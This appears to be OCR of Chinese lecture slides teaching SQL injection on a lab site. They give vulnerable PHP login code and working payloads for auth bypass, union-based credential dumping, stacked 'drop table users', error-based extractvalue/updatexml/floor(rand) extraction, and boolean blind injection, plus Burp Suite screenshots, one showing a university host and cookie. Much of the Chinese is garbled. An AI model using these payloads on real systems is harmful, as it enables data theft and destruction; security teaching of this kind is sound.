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B kali - VMware Workstation
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[0 kali2023 4 Burp Suite Community Edition v2023.9.1 - Temporary Project
Burp Project Intruder Repeater View Help
Dashboard ~ Target  Proxy  Intruder _ Repeater  Sequencer  Decoder  Collaborator  Comparer  Logger  Organizer  Extensions  Learn  JSON WebTokens £ Settings
Tx 2% 3% ax 4 Q
<|v Target: http:f/yoj.rucceduen /  HTTPN (3)
== - 5
Request Response inspector W = = & X
Raw  Hex M = pretty  Raw  Hex @ W= pequest atributes .
1 POST /index.php/index/user/handlePassword. html HTTP/1.1 1 HTTP/1.1 200 OK
Host: yoj.ruc.edu.cn 2 Server: none Request query parameters o~
2 Content-Length: 89 3 Date: Sat, 27 Apr 2024 08:00:24 GMT
4 Accept: */* 4 Content-Type: application/json; charset=utf-8 Request body parameters 3 v
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1714198446, access_token-oUbcxmOKTa20a1_FaJZABQ; Server none >
Hm_lpvt_52b314b9a24d800e6427360Febas55122=1714204099 Date ot 27 Apr 2024, >
2 Connection: close 7
4 Content-Type  application/json; .. >
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1. SQL
2. SQL
3. SQL

4. NoSQL



8.1 SQLFEAN

+1TIBI5Tbus.

= EFOWASP & RItop10HE T SQLIEANRIE—ERC EHFR SRR,
SIRFEEIN—EEwebth— 1< ASERYARE,

= OWASPHJtop5

2017 2021
A01:2017-Injection A01:2021-Broken Access Control
A02:2017-Broken Authentication A02:2021-Cryptographic Failures
A03:2017-Sensitive Data Exposure = A03:2021-Injection
A04:2017-XML External Entities (XXE) (New) A04:2021-Insecure Design
A05:2017-Broken Access Control A05:2021-Security Misconfiguration
A06:2017-Security Misconfiguration A06:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XSS) A07:2021-Identification and Authentication Failures
A08:2017-Insecure Deserialization - {(New) A08:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities ’{/AOQ:ZOZ 1-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey



| s.1sQuEA
' SQLEANBRSREENARREEHITEIRERZEF, JRiniIEUEENGRIET
SIERY, BTIRBHTEEEFIET, SEEEAN "SR EfHERISQLUEaY /R, #H
TEERME, WBESQLUETN—aBDHEEHT, NIMSHEUEFEZIR (BWATE. HMIER.
EEBMRSHDIRICH) .
" SQLEAESELHMEEEAFPBEUSEREFIESE S SQLKREFRISHEREEUEEN
ITIFERABNEE, BEkR, MEHE [EENE] WM RiEFETFHEsEE,

{ % All passwords




SQLFEANRIEE
s SQLENREFEENGEEELEERIEERIRRS S LHITE

BSQLIET, FENEERBIRBUBIIERER T AEERENEIEN
&, BETIBEIERBR NABEHITHIELE.

. 7

7 X
. 7 X
= 7



SQLFANRIRIE
. |‘uﬂ%ﬁﬁ’ﬂ§|%i}?% SQLEUEERIREREIT SQLIET-HITAY, M
ICERITARAREIEINE VN MEESQLIEGIZH, XFEET
!zu%?ebﬂ]?‘ HUBTIHIIAN T HESQLEA XS (EbUlSELECT,
DROP, WHERE, OR%ES) , XYEXEFMRAIGEEEIEES AN
BN E R IEEIHA T
" SQLFEANIARR: IBRAPMARNEREIERBERIT, EB57
“QiESNEsE" KRN




| sQuEAmEE

" SQLEANRFERERHELL TR FG

h Yy ﬁk

BAFRA:

admin

A

] |
BR | EEER
. 4 SQL 7
)\ll( i e T e M ARIR S -t 4
$username = $_POST["username"]; [/ PR A A

$password = $_POST["password"]; // ZEl iz

$sql = "select * from users where username

$result = $conn->query($sql); // H7 iy

= '$username' and password = '$password'";



| sQuEAAISLA .

RfEPSQLEANOSF
LS SR \ IEIFL 4 B
" R, EEEIEEA
$sql = "select * from users where username = '$username' and password = '$password'":

$result = $conn->query($sql);  // Hiriimis
" fRIEEEEIAIRT SIS, RBXMETHNEEERAINZE,
WBERINE R,

if ($result->num_rows > B8) { [/ BN, B &R
$row = $result->fetch_assoc(); YRR O/ &2 LaliiE it
$_SESSION["role"] = $row["role"]; // #Session Hrid R0
$_SESSION["mail"] = $row["mail"]; // fFSession il sk
$_SESSION["phone"] = $row["phone"]; // 7FSession‘id & FHlE

}
= F A NRRANALEEZEIRIEusernamefy, FrlAusernameA~gé
B, Aadmin, Epassword¥ A +or+1=1--+ (IISFRZTHE) |,
FANSQLIETRHED L

"SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 -- ""




| 8.2 sQuEAm:
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I Efmiﬁliﬁ EE 2: getfEih

REMMIEEsqEA S

w Bl pla)EEAL, iR getTh e

2z

=  PHP SQL 4
select * from users where username = " and password = "

. 1=T 1=2 SQL

http://localhost/level2.php?username=admin&passwo

rd=adminl123

SQL " "SELECT * FROM users WHERE username = ‘admin' AND passwd = 'adminl23'";

It

http://localhost/level2.php?username=admin&password=adminl12
3'and 1=1-a

SQL * "SELECT * FROM users WHERE username = 'admin' AND passwd = 'admin123' AND 1=1 -- a";

http://localhost/level2.php?username=admin&password=ad
minl123'and 1=2-a

SQL * "SELECT * FROM users WHERE username = 'admin' AND passwd = 'adminl123' AND 1=2 -- a";

n level2.php SQL



http://localhost/level2.php?username=admin&password=admin123
http://localhost/level2.php?username=admin&password=admin123%27%20and%201=1%20--%20a
http://localhost/level2.php?username=admin&password=admin123%27%20and%201=2%20--%20a

SEEE

* NENEHEEEARNKNEGEE, ©REXFIXE, BB —
BRI SRR S =e2E, HIan:

= MS SQL Server usernKdb_name() 7
SQL Servern v

Ahttp://localhost/level2.php?username=admin&passw
ord=admin123' and user()>0 -- a
Ahttp://localhost/level2.php?username=admin&passw
ord=adminl123'and db_name()>0 -- a
= MySQL oY
Ahttp://localhost/level2.php?username=admin&passw
ord=adminl123'and substring(@ @version,1,1)=5-- a
v
X

L4
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| sQLEAEMpayload
" EREERF: MYSQL-> --+ (IISFRRERE, WMASEMmIEINS)
" = database() (fRIRIREXAIEIvruc)
m X . select table name from information_schema .tables where
table_schema ='vruc' --+ ({RI&IKEXEY{E "users)

m 5l . select column name from information_schema .columns where
table_schema ='vruc' and table name ='users' --+ ({RIRIKEXZEIFNEBEFS,

username,password)

= #¥E: select group concat(username,0x7e,password) from vruc.users --
+ (group_concatBREIGFIRISRIER R AL, 0x7Tes~, BRI DX
53F)

 EEEBASQLEAE, YT



SQLIFANRIS 2
SQLIENRIEENFERES AL LF:

" SQLENRIBENR KD LTI
= select
= Order by
= Limit

= insert/delete/update
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EBEN
" fRSEEITHISQLIEAINEARE, AMIBRTRHAEANSEEFEAF
B A

" (FRR WEXAFIVRAILERE,

" SEEN— R TSI SQUEA RIS, LIS SR
K,

$sql = "select * from users where username = '$username' and password = '$password'";

$result = $conn->query($sql); // Hi iy
sy F E @ XA SQLE 4, % A username=admin
password=123" or 1=1--+, FANEHSQLETUT, SHERFE
B sead

select * from users where username='admineel’
and password='123' or 1=1-- ‘'



| BaiEA

" REEAN, BRRNX, BENAREEEHRITIEA.
" BXEEIA: FERASQLX#EIFunion, BRANSQLIEERERIRSIHHE.

" RS RENAEFRAFERE,
" XIEAN— IR T EIREUREETHIZL

ST Y.

&, IRENELE R PSR ERRYE

$sql = "select * from users where username = '$username' and password = '$password'";

$result = $conn->query($sql); // H7 iy

username=admin001&password=123"
union select 1,2,3,4,database(a

select * from users where username='admineel'

and password='123' union select 1,2,3,4,database() -- a



BRATEN

" BRAIENRIKREA:

= 1. unionBI/EM NN EIFEDRITIEE—EL
"2 HREREFNE LEEE

" 3. FRUIFEERRIERTE, JeabEINNEIETERS
RN IEREERERNVE.




\ Q A ;
e XF 3: BEEAN
H =1/ )\ AR ES— zmiad

" RATENITRE: T
= . IRENERIZEFER: HREEY, SRS IEN, ERtest/test123,
AITIEREIE 7THFE BRI XKD, test

" . IREEIENEUERNYIE: FEFMEE, {£Hunion select
1,2,3,...0, WNRFIEAR, =kiE. B, T ZIEERYSS

RB45,



M AT

I BXEIEAN
= 3, IAEE—HEHERZE: * W B ge&_ 3" @Kt T
* Wotiz U o T OFRsEz U, AEEHunion 1,2,3,4B08], 7ERINI
HIEEH A, IAKStest, ZErEHIA-1" union select 1,2,3,4 -- a
s BRERUE, RIREENSHERELEE.,  wsaohw:
= 4 OEMNHNAEEENRIE, &EER, database(), EF—mAI8TLA
EF (selectiEf)) .

= 10k Apassword=-1" union select 1,database(),3,4 -- a, BJLL &
FnEETIIEES (EMEEER. 7). 29E)

BRI G, kasilab uy kasilab



Ll

WEEAN
= HEEIEARLARRAF T SQLETRIESHAITH 21 SAL
B0, SEREARHHITSASQLUETRIMSBEA—SQLET.

» ERIRIE RS ER(EM 7 mysql_multi_quer(pRiEl, E1EIUDS
SIREIZ AN SQLIEEGER T,

s EIFAN—RATHITEERE, tkiiEBERERFEA—T
adminFAF, EEMIFRETE RAFEGEE,

21 /! FIEEE I NRENSQLER

22 $sql = "SELECT * FROM users WHERE username = '$username' AND passwd = '$password'";
23

24 // BITER - XBEAmulti_queryMAFEquery, RIFHESEN

25 if ($conn->multi querv(auverv: $sal)) {

~ 7

test123'; drop table users: a

— —ae
24 "SELECT * FROM users WHERE username = 'test' AND passwd = 'testl23’;
25 DROP TABLE users;";



GRS

| N *xF 4: EFN
T ENSLH ,
= 5R)EEA, IEEESIE

" EERAMERT mysqli_multi_query(BAZE, ERLCAEEHIT
Z1SQLiEf,

Ll

\r
4

L%
Cr

21 /] FEREFNFRANSQLER
22 $sql = "SELECT * FROM users WHERE username = '$username’' AND passwd = '$password ®
23 // TER - XBEAnlti_querylAEquery, RIFHESEN
24 if ($conn->multi_query(query: $sql)) {

25 /] FREE—TERER

26 $result = $conn->store_result();

27

28 if ($result && $result->num_rows > 8) {

29 /] BRI

30 $user = $r‘esu1t—>fetch_assoc();

31 setcookie(name: 'user_progress', value: 2, expires_or_options: time() +
32 echo "EFRAEIN! IWiL, " . htmlspecialchars(string: $user['username']);

33 // EREERIEEsessionFAETER

34 } else {

35 | $login_error = "HAFPZWEEEIR!";

36 }

37

38 /1 ERERNERE NREHEBTANER)

39 while ($conn->more_results()) {

40 $conn->next_result();

41 if ($result = $conn->store_result()) {

42 $result->free();

43 }

44 }



= =4
=

WS E NS

» e Rtest/test123, 8ERIIER

~7¢

BRATH WO, test

S, —

B XOREZRS S gtest123; drop table users; -- a, #{THYsqhE
ﬁl“b?ﬁﬂﬁﬁl

+— -~
24 "SELECT * FROM users WHERE username = 'test' AND passwd = 'testl23’;
25 DROP TABLE users;";

" REHREERAKSERS, AMBAFREEHMR

2L T~

ZE1HEE1%: Table 'kasilab.users' doesn't exist



HREEEN
" RIS EAN—RETZHTIREIIAZ E=A
 REEEAFEFN AT EIEENELH, ANFIEERSEN,
(EEEREREELIEEREET.
" TEF AR EIR
= Xpath
" RS EANRIBRISERE I ENER, EBEREEHEERINE.
s REFANRERZEFAEESQLUETNEIREHE Y E L

A 1 fa A P 8 FE S 2 S A 70 20 FE
$result-=-$conn->query($sql); - - -//- AT &1
if-(mysqli_error($conn))-{

print_r(mysqli_error($conn)); — XPATH syntax error: '~bdm771769432_db'
exit();

A




j:l::_‘_ \ :_I_ j:t\
s EANA—XpathiE &fg1=
= XpathiEiEEiR

s FEextractvaluefupdatexmiXFINEREL

® Extractvalue

R R extractvalue(xml_document, Xpath_string)
F—1E2H: xml_documentZstringf&z(, JAIxmISIEIISRAYZFR
BNSEL Xpath_string@xpatht&z(RIF &

YEF: MBimxmlfiREE S FEIEERNFA

= Updatexml

BREURES: updatexml(xml_document,xpath_string,new value)
F—1N2E: xml_documentEstringt&z,, AxmIEXISRAIZTR
BANSEL xpath_string@Expathi&z(HIF &R

B=ASE new_value@stringigzl, BREHEINIAFAIIETE
A BN RHERGNITREYE



IRsEE N\——Extractvalue

SELECT EXTRACTVALUE( '<books>

= [FHE RS <book>

<title>Harry Potter and the Philosopher®''s Stone</title>

<author>J].K. Rowling</author>
<price>19.99</price>

</book>

<book>
<title>The Lord of the Rings</title>
<author>J.R.R. Tolkien</author>
<price>29.99</price>

< /book>

<book>

<title>The Hitchhiker''s Guide to the Galaxy</title>

<author>Douglas Adams</author>
<price>14.99</price>
</book>

</books>', '/books/book/price®') AS price;

B booksTs mAYF T mbookIFTirapricelIRTEE/ENET
FHY{Eprice

e



XF 5 REEN

RAREEH—TF, BAHAEE

I e EN——-=Extractvalue | =

s extractvalueEE N SHEEKFTFESXxpathiE ZHIFFRrE, WRANRER
X, WHksE, FEEERERMEREEEE, ELeILARIA.

" Payload:

1'and(select extractvalue("anything",concat('~",(selectifa]))))-- a
HEEEHL, EERGEEAN, WSER, ZEiA

1'and(select extractvalue(1,concat('~',(select database()))))-- a
AL EEIE LR REIEES FURFFIEIR: XPATH syntax error: “kasiat
H—E, ALUSENSIRENEIR SR ERE®




IRsEE N\——Extractvalue

= SXIMySQLEUERE, ETFextractvaluefpayloaddlF:

s BIUEESR . id="and(select extractvalue(1,concat(0x7e,(select
database()))))

m JZ2: id="and(select extractvalue(1,concat(0Ox7e,(select
group_concat(table name) from information_schema.tables where
table schema=database()))))

m JB2ZESH . id="and(select extractvalue(1,concat(0x7e,(select
group_concat(column_name) from information_schema.columns
where table name="TABLE NAME"))))

m JBHHE: id="and(select extractvalue(1,concat(Ox7e,(select
group_concat(COIUMN_NAME) from TABLE_NAME))))



IRsEE N\——Extractvalue

== 5
—LIER:

B (@D Ox7e="~'

® (2 concat('a’,'b")="ab"

B (3) version()=@@version

" @ '~'HLURR# . 'S FAREXPathiBTVRIFRT

" ® extractvalue()BEEIRIIFFHERIIRAIKE 32, NRE(EEZ
SR EII32, HERsubstring()RREEEEImito R, —XE
Em32(




R EN——updatexml

= [EF RIS

SELECT UPDATEXML( '<root><a>hello</a><b>world</b></root>",
‘/root/a’,

'<a>hi</a>");

<root><a>hi</a><b>world</b></root>

B EXMAF, Ffi MR XPath ZFRiA=( /root/a 1%&iE T <a>
TR, FH <a>hi</a> B T7TENRS.




I HREEE N——updatexml
B F_ P S#ERextractvalueFREIHIE _1MS8—1F, EBaILAFIA,

HHIABZEE
® payload:

id="and(select updatexml("anything”,concat('~',(select &5 4
()))."anything"))
IDIEEEAL, BERBIAKES, ZrEHEIA

1'and(select updatexml(1,concat('~',(select database())),1)) -- a

Lﬁ%&ﬁﬁig éUE@Hj%IE}Eg ¥IEESEIR: XPATH syntax error: '~kasilab'



e EN——updatexml

" EHIMySQLEEERE, EFupdatexmlfipayloadill T :

n JBEIEER . 'and(select updatexml(1,concat(0x7e,(select
database())),0x7e))

= JZFE2S: 'and(select updatexml(1,concat(0x7e,(select
group concat(table name)from information schema.tables where
table schema=database())),0x7¢e))

m J&525: 'and(select updatexml(1,concat(0x7e,(select
group_concat(column_name)from information_schema.columns
where table name="TABLE NAME")),0x7¢e))

m JBZEWE: 'and(select updatexml(1,concat(0x7e,(select
group_concat(COLUMN_NAME)from TABLE NAME)),0x7e))



R EN—TRESHR

" FfEREEI =R EAI— 1N SQLK R

= Concat:

= Floory
= Randy
= group by

= group by2RIE— P EZ N INGEREHITHANsqiED, BERFEA:

SELECT column_name, aggregate function(column_name)

FROM table name

WHERE column_name operator value

GROUP BY column_name



group by

[ ]

A

AT EESEERENE,
4% key_name I T8

SEREIEE T —SRcR

ENGai

Y

RiTEEEFINER

FlTiERIE 25
IZRE

B TEEFHRED

Y

‘ ElRA R RIS EETE | GRS SR

< |

yes




:I:t:_‘_ —— —_— :I:l:\
Tﬁ El/“)\ __"E'@EEE%EEE
= group by keyW[FIEZ2EINMEREUENE—17T, BEREFTInETE
i, EENE—1THIkeyRT, WNRkeyEFETIGRTZRSF, NEHIGETZRAIEL
B, MNRkeyAElmidERSF, NEIRETZRPEAKeyFIEITRIEEE.

" XFMRE D ENARGRZE Sfloor(rand(0)*2)NESE M, SXigroup by
1B HiE,

= HHRpayload/y:

1'union select 1,2,3,... from ( select count(*), concat((selecti&
a]),floor(rand(0)*2))x from "— P EIEAAIZR" group by x)a-- a

AT EERE, BAREMCRIN TRIE




EEAN—TEESIEIR

select 1,2,3,4,5 from
(

select
count(*),
concat

(

(select user()),

moon
2

floor(rand(@e)*2)
) X
from information_schema.tables
group by x

)a



| B EAN—FpEaEs
s IR TEREEPRHRNFER, . pn QQHL K'E
T QA D B, IXEIZSSIREIFENEIZL, ERAFEIRS B
TTEIEFTRFEG, S5 AHr B8 6> a VHE 6! 1
i 2, M\MmogsidaA\CEFEEREE, S3EFHE Pz

¥
EHASEIE

HTHEETRIED

Y

¥uhﬂﬂlﬁsﬁﬁ§§%ﬁ?%ﬁ no » EHHYTEIERRGER

4

yes




RimEAN—LRESEIR
" HRiE R AT

s IER Y

SELECT COUNT(*),FLOOR(RAND(0)*2) x

FROM information _schema.tables

GROUP BY x
1. GROUP BYEIZ T —Mmfds, xZFLOOR(RAND(0)*2)EI51#

X COUNT(*)

{RizFLOOR(RAND(0)*2)ix[alrIFF5179[0,1,1,0,1]



| T N—FEEs

2. T SB—1TEUE

x, COUNT(*) =0, 1

x, COUNT(*) £ 1

v
TSRS
x=0
ﬂﬁ%ﬁgggﬁaﬁ no B TR RIES
yes |

"
X COUNT(*)
1 1

1
—

X

[0,1,1,0,1]

[0,1,1,0,1]



| B EN—FiEEaEiR

3. 1ERGE TR

x, COUNT(*) =1, 1 [0,11,0,1]
mﬁﬁﬂﬁi";ﬂﬁ@%@ x=1, COUNT(*)+1
FliriaE =P 25 2R

ERE

BRI RS HEORE
B

W

X COUNT(*)

1 2



| mEEA—

4. ZEE=1TEURE

’

PATEIETINES

X

YRR EFESCE
BEE

yes

¢

no

S STt

x, COUNT(*) = 0, 1

x, COUNT(*) & 1 =>

TR ES

=0 N

1
—

X

[0,1,10,1]

[0,1,1,01]



REEENA—THESHEIR
BN, EEREEA, KSR, BEHA:

123'union select 1,2,3,4,5 from (select

count(*),concat((select user())," ",floor(rand(0)*2))x from

information _schema.tables group by x)a-- a

» oL EEImERESRARER.

$IERE 1% Duplicate entry 'kasihappy@localhost 1' for key 'group_key'

o EE AR ERTECEIEN, FEEselectiV5IEHEE, FrlA
XEEselect 1234, EUKEETIHEIAEAR




5it
" BIEFTHIAERDEANGEMKBIE LRIEIE, XJFHRL
mH LDE8EHERIERER, JU=EEE.

s B TFEERD, BT —LE a5 =k
SR P RIZHRZ(T 4.

 EiEEES IRFPREY




m/REE
" R BEEREFARERESERN, (XFMNEUEREIERER
1780R], FRLAELIRE[RILAERI—1MA/RE, EERExAtrue, i
iaEE R A ER 27 /IFalse,

" EEEIEsqIEgHmA—YRPEY, WERTIZFEMHE
HENREERtrueifEfalse, FHIKEHEQRIER,

m ZMEF

&N and database()="vruc", MRREIENE, 1AL
EEER A vruc, WISRIREHEAR, HBBEURERAIvruc




f/REE
NEREFIIIE 7 substregi#l, FILAREMREE: &R Ssubstr () —F
3 left (str, index) MAIAZEindexFFIaEEN

S right(str, index) \Ei3z8indexFHigEEX

L substring (str, index) MZAiZindexFFiaELEL

. mid (str, index, len) &HEXstr)indexFigs, &ElenfIi<E

= lpad (str, len, padstr)

L rpad (str, len, padstr) fEstrf&L (fA) MLIEFZEERpadstrEl
IEENIKElen, R[EIEFERIZE

s IRERTET = (FT5) . gJLAEIN). like[tE
» YNERFERIIE Tascii () , ALAAhex(). bin () . ord()t&



m/REE

" f/REEE

@ HIWEGEEZRHISE: and length(database())>11 ERIEE; and
length(database())>12 EIREIR, RBEHIEERRET 1210FF.
(ERZ oA THINT R RIEE 5 B IRERIERE)

@ BUHEER (FHRHascifBRERMKXHAR) : and
(ascii(substr(database(),1,1)))>100 --+ @IARKTNIL, Easciifg,
BEasciizkA LUSHIZFSR, BidiZdatabase () [FEE—1EF,
A LAERSRESENE ). E=NFH.




e ra =t
/REE
® BNERSE : and (ascii(substr((select table name from

information_schema.tables where table.schema=database()
limit 1,1)1,1)>144 --+ FEHEIENE . F=1F5...

@ IBN=EE® (F148) : and (ascii(substr((select
column_name from information_schema.columns where
table.schema=database() and table name=" ZiEEZxRS'
limit 0,1)1,1)>105 --+ L2133&N ascii/g 105 791 WHIEFRAIE
— & IdRE— 18R EEZH limit 0,1 3REEGE 1M
2 (E8aE 1, 1RISREN SRRV E R FER.




.
ﬁ 7‘J_'\ =pas
G BlFERAS: BRAFNETHE, FbAE# select password

from users BRI LASKE password BEIRINZ, usernameth—if

and (ascii(substr(( select password from users limit
0,1),1,1)))=68--+



» BFR/REHEESKAENER, burpsuitilintrudertZERENNIE
BIFRNEE, 378, (REATLASERSpythonflAx, tBE2IEFETS
{ERYISEE.

= oREEA, EEEE, FEIMburpsuits®fl, IERIBRXT, &
IARIEEFOresponsedl

retty Raw Hex & n = Pretty Raw Hex Render

POST /level6.php HTTP/1.1 HTTP/1.1 200 OK

Host: 10.10.17.36:32768 Server: nginx/1.18.0

Content-Length: 32 Date: Wed, 14 May 2025 06:35:52 GMT

Cache—-Control: max-age=0 Content-Type: text/html: charset=UTF-8
Upgrade-Insecure-Requests: 1 Connection: close

Origin: http://10.10.17.36:32768 X-Powered-By: PHP/7.3.22

Content-Type: application/x—www—form—urlencoded Set—Cookie: user progress=6; expires=Fri, 13-Jun-2(

=1 O U = W M =

User—-Agent: Mozilla/5.0 (Windows NT 10.0: Win64:; x64) AppleWebKit/537.36 Max-Age=2592000; path=/
(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 3 Content—Length: 1428
Accept: 9

text/html, application/xhtml+xml, application/xml ;q=0.9, image/avif, image/w | 10 B3I Will, admin
ebp, image/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0. 7 'DOCTYPE html

Referer: http://10.10.17.36:32768/1evel6. php 12 <html>
Accept-Encoding: gzip, deflate, br 13 <head>
Accept-Language: zh-CN, zh;g=0.9 14 {title>
Connection: close B SR T (FF7ESALIE A EIR)
{/title>
username=admin&password=adminl23 15 {style>
body {

font-family:Arial, sans—serif;
LN AR RN P ~ PR T A2 N P



f/REiE
s B FINTIAE BB FERRE T, BRI
admin123'+and+1=1--+a, TLAEZLREIRSHKIAIEE




